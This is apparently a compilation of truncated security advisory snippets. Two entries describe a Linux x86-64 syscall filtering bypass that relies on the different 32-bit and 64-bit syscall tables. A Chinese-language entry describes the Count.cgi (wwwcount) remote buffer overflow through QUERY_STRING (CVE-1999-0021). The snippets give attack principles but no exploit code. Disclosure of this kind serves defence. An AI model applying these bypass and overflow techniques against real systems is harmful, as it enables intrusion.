Problems with syscall filtering technologies on Linux

Hi, There's a trick which may permit the bypassing of policies in technologies which do syscall filtering on the Linux x8664 kernel. The trick is made possible by the fact that the 32-bit and 64-bit kernel tables are different, combined with the fact that a 64-bit process can make a 32-bit syscal...

Linux syscall filtering bypass

32 bit application can use 64 bit syscall and vice versa to bypass syscall filtering, because syscall numbers are different...

Count.cgi(wwwcount)远程缓冲区溢出漏洞

BugCVE: CVE-1999-0021 BUGTRAQ: 128 Count.cgi wwwcount是一个非常流行的Web站点跟踪统计CGI程序。一般它作为Web页面点击数统计。1997年10月，这个程序被发现了两个远程漏洞。第一个漏洞比较轻微，它能允许远程用户浏览到受限制的.GIF文件，可能泄漏.GIF文件里潜在的敏感数据。 第二个漏洞比较严重，count.cgi程序在处理QUERYSTRING环境变量的时候存在缓冲区溢出漏洞。远程攻击者可以发送一个超长的请求给程序就能进行溢出攻击，以Web用户的权限在系统执行任意命令。 2.3 Muhammad A. Muquit...
